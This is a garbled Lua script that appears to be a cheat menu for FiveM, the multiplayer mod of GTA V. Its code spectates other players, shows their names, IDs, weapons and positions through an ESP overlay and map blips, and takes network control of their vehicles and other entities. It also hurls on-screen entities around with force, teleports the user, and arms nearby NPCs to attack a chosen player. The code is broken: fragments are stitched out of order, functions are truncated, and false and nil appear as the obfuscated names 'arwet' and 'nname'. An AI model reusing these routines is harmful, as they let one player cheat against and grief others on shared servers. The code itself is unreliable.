"CERBERUS3",
"HAULER",
"HAULER2",
"MULE",
"MULE2",
"MULE3",
"MULE4",
"PACKER",
"PHANTOM",
"PHANTOM2",
"PHANTOM3",
"POUNDER",
"POUNDER2",
"STOCKADE",
"STOCKADE3",
"TERBYTE",
"CABLECAR",
"FREIGHT",
"FREIGHTCAR",
"FREIGHTCONT1",
"FREIGHTCONT2",
"FREIGHTGRAIN",
"METROTRAIN",
"TANKERCAR"
}
local matteColors = {
{"Black", 12},
{"Gray", 13},
{"Light Gray", 14},
{"Ice White", 131},
{"Blue", 83},
{"Dark Blue", 82},
{"Midnight Blue", 84},
{"Midnight Purple", 149},
{"Schafter Purple", 148},
{"Red", 39},
{"Dark Red", 40},
{"Orange", 41},
{"Yellow", 42},
{"Lime Green", 55},
{"Green", 128},
{"Forest Green", 151},
{"Foliage Green", 155},
{"Olive Darb", 152},
{"Dark Earth", 153},
{"Desert Tan", 154}
}
local metalColors = {
{"Brushed Steel", 117},
{"Brushed Black Steel", 118},
{"Brushed Aluminum", 119},
{"Chrome", 120},
{"Pure Gold", 158},
{"Brushed Gold", 159}
}
local Keys = {
["ESC"] = 322, ["F1"] = 288, ["F2"] = 289, ["F3"] = 170, ["F5"] = 166,
["PAGEUP"] = 167, ["F7"] = 168, ["F8"] = 169, ["F9"] = 56, ["F10"] = 57,
["~"] = 243, ["1"] = 157, ["2"] = 158, ["3"] = 160, ["4"] = 164, ["5"] = 165,
["6"] = 159, ["7"] = 161, ["8"] = 162, ["9"] = 163, ["-"] = 84, ["="] = 83,
["BACKSPACE"] = 177,
["TAB"] = 37, ["Q"] = 44, ["W"] = 32, ["E"] = 38, ["R"] = 45, ["T"] = 245,
["Y"] = 246, ["U"] = 303, ["P"] = 199, ["["] = 39, ["]"] = 40, ["ENTER"] = 18,
["CAPS"] = 137, ["A"] = 34, ["S"] = 8, ["D"] = 9, ["F"] = 23, ["G"] = 47, ["H"]
= 74, ["K"] = 311, ["L"] = 182,
["LEFTSHIFT"] = 21, ["Z"] = 20, ["X"] = 73, ["C"] = 26, ["V"] = 0, ["B"] = 29,
["N"] = 249, ["M"] = 244, [","] = 82, ["."] = 81,
["LEFTCTRL"] = 36, ["LEFTALT"] = 19, ["SPACE"] = 22, ["RIGHTCTRL"] = 70,
["HOME"] = 213, ["PAGEUP"] = 10, ["PAGEDOWN"] = 11, ["DELETE"] = 178,
["LEFT"] = 174, ["RIGHT"] = 175, ["TOP"] = 27, ["DOWN"] = 173,
["NENTER"] = 201, ["N4"] = 108, ["N5"] = 60, ["N6"] = 107, ["N+"] = 96, ["N-"]
= 97, ["N7"] = 117, ["N8"] = 61, ["N9"] = 118,
["MOUSE1"] = 24
}
local currentMenuX = 1
local selectedMenuX = 1
local currentMenuY = 1
local selectedMenuY = 1
local menuX = { 0.75, 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7 }
local menuY = { 0.1, 0.025, 0.2, 0.3 , 0.400, 0.425 }
vRP = Proxy.getInterface("vRP")
if ForceTog then
Citizen.CreateThread(function()
function forcetick()
if (KeyPressed) then
KeyTimer = KeyTimer + 1
if (KeyTimer >= KeyDelay) then
KeyTimer = 0
KeyPressed = arwet
end
end
if (StartPush) then
StartPush = arwet
local pid = PlayerPedId()
local CamRot = GetGameplayCamRot(2)
local force = 5
for k in EnumerateVehicles() do
SetEntityInvincible(k, arwet)
if IsEntityOnScreen(k) and k ~= PlayerVeh then
ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true,
arwet, true, true, true, true)
end
end
for k in EnumeratePeds() do
if IsEntityOnScreen(k) and k ~= pid then
ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true,
arwet, true, true, true, true)
end
end
end
if (ForceEnabled) then
local pid = PlayerPedId()
local PlayerVeh = GetVehiclePedIsIn(pid, arwet)
Markerloc = GetGameplayCamCoord() +
(RotationToDirection(GetGameplayCamRot(2)) * 20)
for k in EnumerateVehicles() do
SetEntityInvincible(k, true)
if IsEntityOnScreen(k) and (k ~= PlayerVeh) then
RequestControlOnce(k)
FreezeEntityPosition(k, arwet)
Oscillate(k, Markerloc, 0.5, 0.3)
end
end
for k in EnumeratePeds() do
if IsEntityOnScreen(k) and k ~= PlayerPedId() then
RequestControlOnce(k)
SetPedToRagdoll(k, 4000, 5000, 0, true, true, true)
FreezeEntityPosition(k, arwet)
Oscillate(k, Markerloc, 0.5, 0.3)
end
end
end
end
end
function GetSeatPedIsIn(ped)
if not IsPedInAnyVehicle(ped, arwet) then return
else
veh = GetVehiclePedIsIn(ped)
for i = 0, GetVehicleMaxNumberOfPassengers(veh) do
if GetPedInVehicleSeat(veh) then return i end
end
end
end
function GetCamDirFromScreenCenter()
local pos = GetGameplayCamCoord()
local world = ScreenToWorld(0, 0)
local ret = SubVectors(world, pos)
return ret
end
return result
end
function ScreenToWorld(screenCoord)
local camRot = GetGameplayCamRot(2)
local camPos = GetGameplayCamCoord()
end
function WorldToScreenRel(worldCoords)
local check, x, y = GetScreenCoordFromWorldCoord(worldCoords.x, worldCoords.y,
worldCoords.z)
if not check then
return arwet
end
function RotationToDirection(rotation)
local retz = math.rad(rotation.z)
local retx = math.rad(rotation.x)
local absx = math.abs(math.cos(retx))
return vector3(-math.sin(retz) * absx, math.cos(retz) * absx, math.sin(retx))
end
return x, y, z
end
function RequestControlOnce(entity)
if not NetworkIsInSession or NetworkHasControlOfEntity(entity) then
return true
end
SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(entity), true)
return NetworkRequestControlOfEntity(entity)
end
function RequestControl(entity)
Citizen.CreateThread(function()
local tick = 0
while not RequestControlOnce(entity) and tick <= 12 do
tick = tick + 1
Wait(0)
end
return tick <= 12
end)
end
ApplyForce(entity, targetPos)
end
scaleform = Initialize("mp_big_message_freemode")
while true do
Citizen.Wait(0)
DrawScaleformMovieFullscreen(scaleform, 255, 255, 255, 150, 0)
end
end)
end
function ShowInfo(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(true, arwet)
end
if onScreen then
SetTextScale(0.0 * scale, 0.55 * scale)
SetTextFont(0)
SetTextProportional(1)
SetTextColour(255, 255, 255, 255)
SetTextDropshadow(0, 0, 0, 0, 255)
SetTextEdge(2, 0, 0, 0, 150)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
SetTextCentre(1)
AddTextComponentString(text)
DrawText(_x, _y)
end
end
local entityEnumerator = {
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nname
enum.handle = nname
end
}
function EnumerateObjects()
return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
end
function EnumeratePeds()
return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
end
function EnumerateVehicles()
return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
end
function EnumeratePickups()
return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
end
function SpectatePlayer(id)
local player = GetPlayerPed(id)
if Spectating then
RequestCollisionAtCoord(GetEntityCoords(player))
NetworkSetInSpectatorMode(true, player)
else
RequestCollisionAtCoord(GetEntityCoords(player))
NetworkSetInSpectatorMode(arwet, player)
end
end
Citizen.CreateThread(function()
local ped = GetPlayerPed(target)
local veh = GetVehiclePedIsIn(ped, 0)
while PossessingVeh do
RequestControlOnce(veh)
if IsDisabledControlPressed(0, Keys["X"]) or
GetEntityHealth(PlayerPedId()) < 5.0 then
PossessingVeh = arwet
SetEntityVisible(PlayerPedId(), true, 0)
SetEntityCoords(PlayerPedId(), oldPlayerPos)
SetEntityCollision(PlayerPedId(), true, 1)
end
Wait(0)
end
end)
end
end
function GetWeaponNameFromHash(hash)
for i = 1, #allweapons do
if GetHashKey(allweapons[i]) == hash then
return string.sub(allweapons[i], 8)
end
end
end
end
local function ls()
local bB = -365.425
local bC = -131.809
local bD = 37.873
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end
end
end
end
end
end
end
function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 14, 16, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15) - 2, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16) - 1, arwet)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 23, 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 24, 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), arwet)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5)
end
function engine(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15) - 2, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16) - 1, arwet)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 21, true)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), arwet)
end
function engine1(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 14,
16, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15) - 2, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16) - 1, arwet)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 23,
1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 24,
1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1),
arwet), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1),
arwet), arwet)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-
1), arwet), 5)
end
end
for k in EnumeratePeds() do
if k ~= GetPlayerPed(target) and not IsPedAPlayer(k) and
GetDistanceBetweenCoords(coords, GetEntityCoords(k)) < 2000 then
local rand = math.ceil(math.random(#weparray))
if weparray ~= allweapons then GiveWeaponToPed(k,
GetHashKey(weparray[rand][1]), 9999, 0, 1)
else GiveWeaponToPed(k, GetHashKey(weparray[rand]), 9999, 0, 1) end
ClearPedTasks(k)
TaskCombatPed(k, GetPlayerPed(target), 0, 16)
SetPedCombatAbility(k, 100)
SetPedCombatRange(k, 2)
SetPedCombatAttributes(k, 46, 1)
SetPedCombatAttributes(k, 5, 1)
end
end
end
function ApplyShockwave(entity)
local pos = GetEntityCoords(PlayerPedId())
local coord = GetEntityCoords(entity)
local dx = coord.x - pos.x
local dy = coord.y - pos.y
local dz = coord.z - pos.z
local distance = math.sqrt(dx * dx + dy * dy + dz * dz)
local distanceRate = (50 / distance) * math.pow(1.04, 1 - distance)
ApplyForceToEntity(entity, 1, distanceRate * dx, distanceRate * dy,
distanceRate * dz, math.random() * math.random(-1, 1), math.random() *
math.random(-1, 1), math.random() * math.random(-1, 1), true, arwet, true, true,
true, true)
end
DrawMarker(28, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0,
radius, radius, radius, 180, 80, 0, 35, arwet, true, 2, nname, nname, arwet)
for k in EnumerateVehicles() do
if (not inVehicle or k ~= playerVehicle) and
GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius * 1.2 then
RequestControlOnce(k)
ApplyShockwave(k)
end
end
for k in EnumeratePeds() do
if k ~= PlayerPedId() and GetDistanceBetweenCoords(coords,
GetEntityCoords(k)) <= radius * 1.2 then
RequestControlOnce(k)
SetPedRagdollOnCollision(k, true)
SetPedRagdollForceFall(k)
ApplyShockwave(k)
end
end
end
ClearAreaOfProjectiles(launchPos, 0.0, 1)
while DoesBlipExist(blip) do
if GetBlipInfoIdType(blip) == 4 then
cx, cy, cz = table.unpack(Citizen.InvokeNative(0xFA7C7F0AADF25D09,
blip, Citizen.ReturnResultAnyway(), Citizen.ResultAsVector()))--
GetBlipInfoIdCoord(blip)
blipFound = true
break
end
blip = GetNextBlipInfoId(blipIterator)
Wait(0)
end
if blipFound then
local groundFound = arwet
local yaw = GetEntityHeading(entity)
for i = 0, 1000, 1 do
SetEntityCoordsNoOffset(entity, cx, cy, ToFloat(i), arwet, arwet,
arwet)
SetEntityRotation(entity, 0, 0, 0, 0, 0)
SetEntityHeading(entity, yaw)
SetGameplayCamRelativeHeading(0)
Wait(0)
if GetGroundZFor_3dCoord(cx, cy, ToFloat(i), cz, arwet) then
cz = ToFloat(i)
groundFound = true
break
end
end
if not groundFound then
cz = -300.0
end
success = true
else
ShowInfo('~p~Blip not found')
end
if success then
SetEntityCoordsNoOffset(entity, cx, cy, cz, arwet, arwet, true)
SetGameplayCamRelativeHeading(0)
if IsPedSittingInAnyVehicle(PlayerPedId()) then
if GetPedInVehicleSeat(GetVehiclePedIsUsing(PlayerPedId()), -1) ==
PlayerPedId() then
SetVehicleOnGroundProperly(GetVehiclePedIsUsing(PlayerPedId()))
end
end
end
end
Citizen.CreateThread(function()
while ESPEnabled do
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
local targetCoords =
GetEntityCoords(GetPlayerPed(plist[i]))
_, x, y = GetScreenCoordFromWorldCoord(targetCoords.x,
targetCoords.y, targetCoords.z)
end
Wait(ESPRefreshTime)
end
end)
Citizen.CreateThread(function()
while ESPEnabled do
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
local targetCoords = GetEntityCoords(GetPlayerPed(plist[i]))
local distance =
GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), targetCoords)
if distance <= EspDistance then
local _, wephash = GetCurrentPedWeapon(GetPlayerPed(plist[i]),
1)
local wepname = GetWeaponNameFromHash(wephash)
local vehname = "On Foot"
if IsPedInAnyVehicle(GetPlayerPed(plist[i]), 0) then
vehname =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(Get
PlayerPed(plist[i])))))
end
if wepname == nname then
wepname = "Unknown"
end
DrawRect(x, y, 0.008, 0.01, 0, 0, 255, 255)
DrawRect(x, y, 0.003, 0.005, 255, 0, 0, 255)
local espstring1 = "~b~ID: ~w~" ..
GetPlayerServerId(plist[i]) .. "~w~ | ~b~Name: ~w~" .. GetPlayerName(plist[i]) ..
" | ~b~Distance: ~w~" .. math.floor(distance)
local espstring2 = "~b~Weapon: ~w~" .. wepname .. " |
~b~Vehicle: ~w~" .. vehname
DrawTxt(espstring1, x - 0.05, y - 0.04, 0.0, 0.2)
DrawTxt(espstring2, x - 0.05, y - 0.03, 0.0, 0.2)
end
end
Wait(0)
end
end)
end
function ToggleBlips()
BlipsEnabled = not BlipsEnabled
Citizen.CreateThread(function()
pblips = {}
while BlipsEnabled do
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
if NetworkIsPlayerActive(plist[i]) then
ped = GetPlayerPed(plist[i])
pblips[i] = GetBlipFromEntity(ped)
if not DoesBlipExist(pblips[i]) then
pblips[i] = AddBlipForEntity(ped)
SetBlipSprite(pblips[i], 1)
Citizen.InvokeNative(0x5FBCA48327B914DF, pblips[i],
true)
else
veh = GetVehiclePedIsIn(ped, arwet)
blipSprite = GetBlipSprite(pblips[i])
if not GetEntityHealth(ped) then
if blipSprite ~= 274 then
SetBlipSprite(pblips[i], 274)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif veh then
vehClass = GetVehicleClass(veh)
vehModel = GetEntityModel(veh)
if vehClass == 15 then
if blipSprite ~= 422 then
SetBlipSprite(pblips[i], 422)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif vehClass == 16 then
if vehModel == GetHashKey("besra") or vehModel
== GetHashKey("hydra")
or vehModel == GetHashKey("lazer") then --
jet
if blipSprite ~= 424 then
SetBlipSprite(pblips[i], 424)
passengers = GetVehicleNumberOfPassengers(veh)
if passengers then
if not IsVehicleSeatFree(veh, -1) then
passengers = passengers + 1
end
ShowNumberOnBlip(pblips[i], passengers)
else
HideNumberOnBlip(pblips[i])
end
else
HideNumberOnBlip(pblips[i])
if blipSprite ~= 1 then
SetBlipSprite(pblips[i], 1)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], true)
end
end
SetBlipRotation(pblips[i],
math.ceil(GetEntityHeading(veh)))
SetBlipNameToPlayerName(pblips[i], plist[i])
SetBlipScale(pblips[i], 0.85)
if IsPauseMenuActive() then
SetBlipAlpha(pblips[i], 255)
else
x1, y1 =
table.unpack(GetEntityCoords(PlayerPedId(), true))
x2, y2 =
table.unpack(GetEntityCoords(GetPlayerPed(plist[i]), true))
distance = (math.floor(math.abs(math.sqrt((x1 - x2)
* (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
if distance < 0 then
distance = 0
elseif distance > 255 then
distance = 255
end
SetBlipAlpha(pblips[i], distance)
end
end
end
end
Wait(0)
end
end)
end
end
outfit.hat = GetPedPropIndex(ped, 0)
outfit.hat_texture = GetPedPropTextureIndex(ped, 0)
outfit.glasses = GetPedPropIndex(ped, 1)
outfit.glasses_texture = GetPedPropTextureIndex(ped, 1)
outfit.ear = GetPedPropIndex(ped, 2)
outfit.ear_texture = GetPedPropTextureIndex(ped, 2)
outfit.watch = GetPedPropIndex(ped, 6)
outfit.watch_texture = GetPedPropTextureIndex(ped, 6)
outfit.wrist = GetPedPropIndex(ped, 7)
outfit.wrist_texture = GetPedPropTextureIndex(ped, 7)
outfit.head_drawable = GetPedDrawableVariation(ped, 0)
outfit.head_palette = GetPedPaletteVariation(ped, 0)
outfit.head_texture = GetPedTextureVariation(ped, 0)
outfit.beard_drawable = GetPedDrawableVariation(ped, 1)
outfit.beard_palette = GetPedPaletteVariation(ped, 1)
outfit.beard_texture = GetPedTextureVariation(ped, 1)
outfit.hair_drawable = GetPedDrawableVariation(ped, 2)
outfit.hair_palette = GetPedPaletteVariation(ped, 2)
outfit.hair_texture = GetPedTextureVariation(ped, 2)
outfit.torso_drawable = GetPedDrawableVariation(ped, 3)
